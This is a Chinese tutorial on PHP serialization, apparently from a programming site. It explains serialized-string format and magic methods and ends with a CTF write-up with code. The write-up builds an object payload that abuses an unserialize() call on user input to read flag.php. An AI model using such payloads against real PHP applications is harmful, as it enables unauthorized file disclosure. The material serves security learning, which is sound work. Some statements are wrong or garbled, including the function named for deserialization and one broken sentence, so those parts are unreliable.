PHP的序列化和反序列化详情

目录
  • 一、PHP 为什么要反序列化?
  • 二、PHP如何反序列化?
  • 三、PHP反序列化漏洞
    • 1、常用 的魔术方法
    • 2、漏洞产生条件
    • 3、题目

一、PHP 为什么要反序列化?

PHP程序执行结束以后会将文件中的变量和内容释放掉, 如果一个程序想要的调用之前程序的变量,但是之前的程序已经执行完毕,所有的变量和内容都被释放,那该如何操作呢?这时候就可以通过序列化和反序列化保存程序中的对象,给其他程序使用。 php序列化可以将对象转换成字符串,但只序列化属性,不序列化方法。

二、PHP如何反序列化?

​PHP用序列化和反序列化函数达到序列化和反序列化的目的

  • 序列化:serialize()
  • 反序列化:serialize()

例子:

<?php
class TEST{
    public $a="public";
    private $b="private";
    protected $c="protected";
	static $d="static";
}

$aaa=new TEST();
echo serialize($aaa);

?>
输出:O:4:"TEST":3{s:1:"a";s:6:"public";s:7:"TESTb";s:7:"private";s:4:"*c";s:9:"protected";}

解释:

O:表示这是一个对象
4:对象的名称TEST有4个字符
TEST:对象的名称
3:对象属性的个数(不包含static)

s:变量名数据类型为string
1:变量a的名字长度
a:变量名称
s:变量值的数据类型
6:变量值的长度
public:变量的值

s:变量名的数据类型
7:变量名的长度(private属性序列化会在变量名前加标记%00classname%00,长度=类名长度+变量名长度+2)
TESTb:变量名称(private属性的变量名在序列化时会加上类名,即类名+变量名)
s:变量值的数据类型
7:变量值的长度
private:变量的值

s:变量名数据类型
4:变量名长度
*c:变量名称(protected属性的变量名会在序列化时会在变量名前加上一个" %00*%00",长度=变量名长度+3)
s:变量值的数据类型
9:变量值的长度

protected:变量的值

小知识:

  • public(公有):公有的类成员可以在任何地方被访问。
  • protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。
  • private(私有):私有的类成员则只能被其定义所在的类访问。

类属性必须定义为公有,受保护,私有之一。如果用 var 定义,则被视为公有。
static:静态属性单独存在类中(属于类),不属于对象。因此只要类声明完毕,该属性就存在。既访问该静态属性不需要依赖于对象就可以访问,static 在类中一直有,因此他被所有对象共享,一人影响,其他共享。
普通方法存放在类种,在内存中只有1份。静态方法也如此。 区别 :普通方法需要对象去调用,需绑 t h i s 。 静 态 方 法 不 需 要 绑 定 this。 静态方法不需要绑定 this。静态方法不需要绑定this,则通过类名即可调用。

三、PHP反序列化漏洞

1、常用 的魔术方法

方法 作用
__construct() 创建对象时触发(定义构造方法)
__destruct() 对象被销毁时触发(定义析构方法)
__call() 在对象上下文调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发
__sleep() serialize() 函数会检查类中是否存在一个魔术方法 __sleep(),如果存在,该方法会先被调用,然后才执行序列化操作
__wakeup() unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用该方法。影响版本:PHP5 < 5.6.25 ,PHP7 < 7.0.10
   

2、漏洞产生条件

unserialize()函数的变量可控,php文件中存在可利用的类,类中有魔法函数

3、题目

题目源码:

 <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

源码分析:

 <?php
include("flag.php");      //包含文件flag.php
highlight_file(__FILE__);   //高亮显示当前文件
class FileHandler {			//定义了一个类
    protected $op;         //定义了三个受保护的属性
    protected $filename;
    protected $content;
    function __construct() {   //定义构造方法,序列化时会自动调用
        $op = "1";			  //定义方法中的属性并赋值
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();     //调用类中的方法
    }

    public function process() {         //定义公有方法
        if($this->op == "1") {          //如果op=="1",调用write()
            $this->write();
        } else if($this->op == "2") {   //如果op=="2",调用read()并输出结果
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");  //否则输出"Bad Hacker!"
        }
    }

    private function write() {      //定义私有方法
        if(isset($this->filename) && isset($this->content)) {
        //判断filename和content是否为空
            if(strlen((string)$this->content) > 100) {  //判断content长度是否大于100
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            //将content写入文件中,写入成功返回true
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//将文件读入到字符串中
        }
        return $res;
    }

    private function output($s) {   //输出函数
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {     //定义析构方法,对象被销毁时自动调用
        if($this->op === "2")   //比较op是否等于2,强比较
            $this->op = "1";    //op="1"
        $this->content = "";    //content置为空
        $this->process();
    }

}
function is_valid($s) {    //定义方法
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
        //判断传入的字符的ascii码是否在指定范围
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];   //强制类型转换为string
    if(is_valid($str)) {
        $obj = unserialize($str);  //反序列化str
    }

}

解题思路:

要想得到flag,就要将文件的内容读入变量并输出,要想输出就要调用read()方法
要想调用read()方法,就要让op == "2",但是当我们构建序列化传参给str时会自动调用__destruct()方法,使我们传入的op == "2"变成op == "1",但是在php中‘===’与‘==’不同,可以通过op=" 2"绕过强等于,要读取正确的flag,我们需要读取flag.php,也就是说filenmae的值要为flag.php,我们需要覆盖掉原来的filename的值

构造payload

<?php
class FileHandler {
   public $op=' 2';
   public $filename="flag.php";
   public $content='';
}
$a=new FileHandler();
echo serialize($a);
?>

O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

获取flag

flag{66907d94-ac4c-4476-9400-ccbbbbbd0fbd}

到此这篇关于PHP的序列化和反序列化详情的文章就介绍到这了,更多相关PHP序列化内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • 详解PHP反序列化漏洞示例与原理

    目录 预备知识 PHP序列化与反序列化 序列化字符串格式 PHP魔术方法 示例 反序列化漏洞 构造函数&析构函数 CVE-2016-7124 预备知识 PHP序列化与反序列化 序列化:将一个复杂的数据类型(如对象.数组.变量等)转换为字符串表示,以便于在网络中传输和在数据库中存储.在PHP语言中使用serialize()函数实现. 反序列化:将一个序列化的字符串重新转换为一个具体的数据类型.在PHP语言中使用unserialize()函数实现. PHP对象中只有数据会被序列化,方法不会被序列化.

  • 详解PHP反序列化漏洞的原理及示例

    目录 PHP反序列化 序列化与反序列化 PHP魔法函数 反序列化漏洞 简介 原理 触发条件 示例 PHP反序列化 序列化与反序列化 序列化说通俗点就是把一个对象变成可以传输的字符串.序列化过程中还会对不同属性的变量进行不同方式的变化 public的属性在序列化时,直接显示属性名 protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3 private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度+2 反序列化就是把被序列化

  • PHP开发技巧之PHAR反序列化详解

    目录 引文 前置知识 PHAR PHAR文件结构 PHAR文件生成样例 实战 结语 引文 之前将PHP反序列化的基础知识讲了一遍,不知道大家学习的怎么样了,今天给大家带来PHP反序列化的进阶知识:PHAR反序列化,也是之前本人在CTF比赛中经常遇到的一种php反序列化的进阶使用吧,下面先给大家讲一讲PHAR反序列化的前置知识. 前置知识 PHAR 在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分

  • 深入浅析PHP的session反序列化漏洞问题

    在php.ini中存在三项配置项: session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处

  • PHP反序列化漏洞实例深入解析

    目录 引文 简介 基础知识 序列化 反序列化 属性 魔术方法 POP链 [MRCTF2020]Ezpop PHP字符串逃逸 结语 引文 上一篇给大家带来了XSS跨站脚本攻击漏洞不知道大家学的咋样了,今天给大家带来另一个漏洞,PHP的反序列化漏洞,这也是我在CTF比赛中遇到过最多的也是比较考察逻辑思维的一种漏洞. 简介 PHP反序列化是一个非常常见的漏洞,利用难度相比于文件上传等漏洞相对较困难,漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造

  • PHP的序列化和反序列化详情

    目录 一.PHP 为什么要反序列化? 二.PHP如何反序列化? 三.PHP反序列化漏洞 1.常用 的魔术方法 2.漏洞产生条件 3.题目 一.PHP 为什么要反序列化? PHP程序执行结束以后会将文件中的变量和内容释放掉, 如果一个程序想要的调用之前程序的变量,但是之前的程序已经执行完毕,所有的变量和内容都被释放,那该如何操作呢?这时候就可以通过序列化和反序列化保存程序中的对象,给其他程序使用. php序列化可以将对象转换成字符串,但只序列化属性,不序列化方法. 二.PHP如何反序列化? ​PH

  • SpringMVC Json自定义序列化和反序列化的操作方法

    需求背景 需求一:SpringMVC构建的微服务系统,数据库对日期的存储是Long类型的时间戳,前端之前是默认使用Long类型时间,现在前端框架改动,要求后端响应数据时,Long类型的时间自动变成标准时间格式(yyyy-MM-dd HH:mm:ss). 涉及到这个转换的范围挺大,所有的实体表都有创建时间createTime和修改时间updateTime,目前的主要诉求也是针对这两个字段,并且在实体详情数据和列表数据都存在,需要一个统一的方法,对这两个字段进行处理. 需求二:前端请求上传的JSON

  • Java高性能序列化工具Kryo详情

    目录 概述 基础用法 Kryo 的序列化 Kryo 的注册 Kryo 的序列化器 对象引用 线程不安全 ThreadLocal + Kryo 解决线程不安全 对象池 + Kryo 解决线程不安全 小结 概述 Kryo 是一个快速序列化/反序列化工具,依赖于字节码生成机制(底层使用了 ASM 库),因此在序列化速度上有一定的优势,但正因如此,其使用也只能限制在基于 JVM 的语言上. 和 Hessian 类似,Kryo 序列化出的结果,是其自定义的.独有的一种格式.由于其序列化出的结果是二进制的,

  • JSON键值对序列化和反序列化解析

    什么是JSON? JSON (JavaScript Object Notation) is a lightweight data-interchange format. It is easy for humans to read and write and easy for machines to parse and generate. JSON is a text format that is completely language independent. 翻译:Json[javascrip

  • JS实现json的序列化和反序列化功能示例

    本文实例讲述了JS实现json的序列化和反序列化功能.分享给大家供大家参考,具体如下: 序列化: var s = new Object(); s.Name = "clientValue"; s.Id = 1; s.ClassId = 2; var data = JSON.stringify(s); console.log(data); 反序列化: eval将字符串反序列化成对象 var s = eval('(' + data+ ')'); console.log(s.Name); 完整

  • Java对象的XML序列化与反序列化实例解析

    上一篇文章我们介绍了java实现的各种排序算法代码示例,本文我们看看Java对象的xml序列化与反序列化的相关内容,具体如下. XML是一种标准的数据交换规范,可以方便地用于在应用之间交换各类数据.如果能在Java对象和XML文档之间建立某种映射,例如Java对象的XML序列化和反序列化,那么就可以使Java的对象方便地与其他应用进行交换. java.beans包里面有两个类XMLEncoder和Decoder,分别用于将符合JabaBeans规范的Java对象以XML方式序列化和反序列化.以下

  • Java 序列化和反序列化实例详解

    Java 序列化和反序列化实例详解 在分布式应用中,对象只有经过序列化才能在各个分布式组件之间传输,这就涉及到两个方面的技术-发送者将对象序列化,接受者将对象反序列化,下面就是一个很好的例子! 1.实体-Employee import java.io.Serializable; public class Employee implements Serializable{ /** * */ private static final long serialVersionUID = 1L; publi

  • Java IO流对象的序列化和反序列化实例详解

    Java-IO流 对象的序列化和反序列化 序列化的基本操作 1.对象序列化,就是将Object转换成byte序列,反之叫对象的反序列化. 2.序列化流(ObjectOutputStream),writeObject 方法用于将对象写入输出流中: 反序列化流(ObjectInputStream),readObject 方法用于从输入流中读取对象. 3.序列化接口(Serializeable) 对象必须实现序列化接口,才能进行序列化,否则会出现异常.这个接口没有任何方法,只是一个标准. packag

  • Java中对象序列化与反序列化详解

    本文实例讲述了Java中对象序列化与反序列化.分享给大家供大家参考.具体如下: 一.简介 对象序列化(Serializable)是指将对象转换为字节序列的过程,而反序列化则是根据字节序列恢复对象的过程. 序列化一般用于以下场景: 1.永久性保存对象,保存对象的字节序列到本地文件中: 2.通过序列化对象在网络中传递对象: 3.通过序列化在进程间传递对象. 对象所属的类必须实现Serializable或是Externalizable接口才能被序列化.对实现了Serializable接口的类,其序列化

  • python3序列化与反序列化用法实例

    本文实例讲述了python3序列化与反序列化用法.分享给大家供大家参考.具体如下: #coding=utf-8 import pickle aa={} aa["title"]="我是好人" aa["num"]=2 t=pickle.dumps(aa)#序列化这个字典 print(t) f=pickle.loads(t)#反序列化,还原原来的状态 print(f) 运行结果如下: (dp0 S'num' p1 I2 sS'title' p2 S'\

随机推荐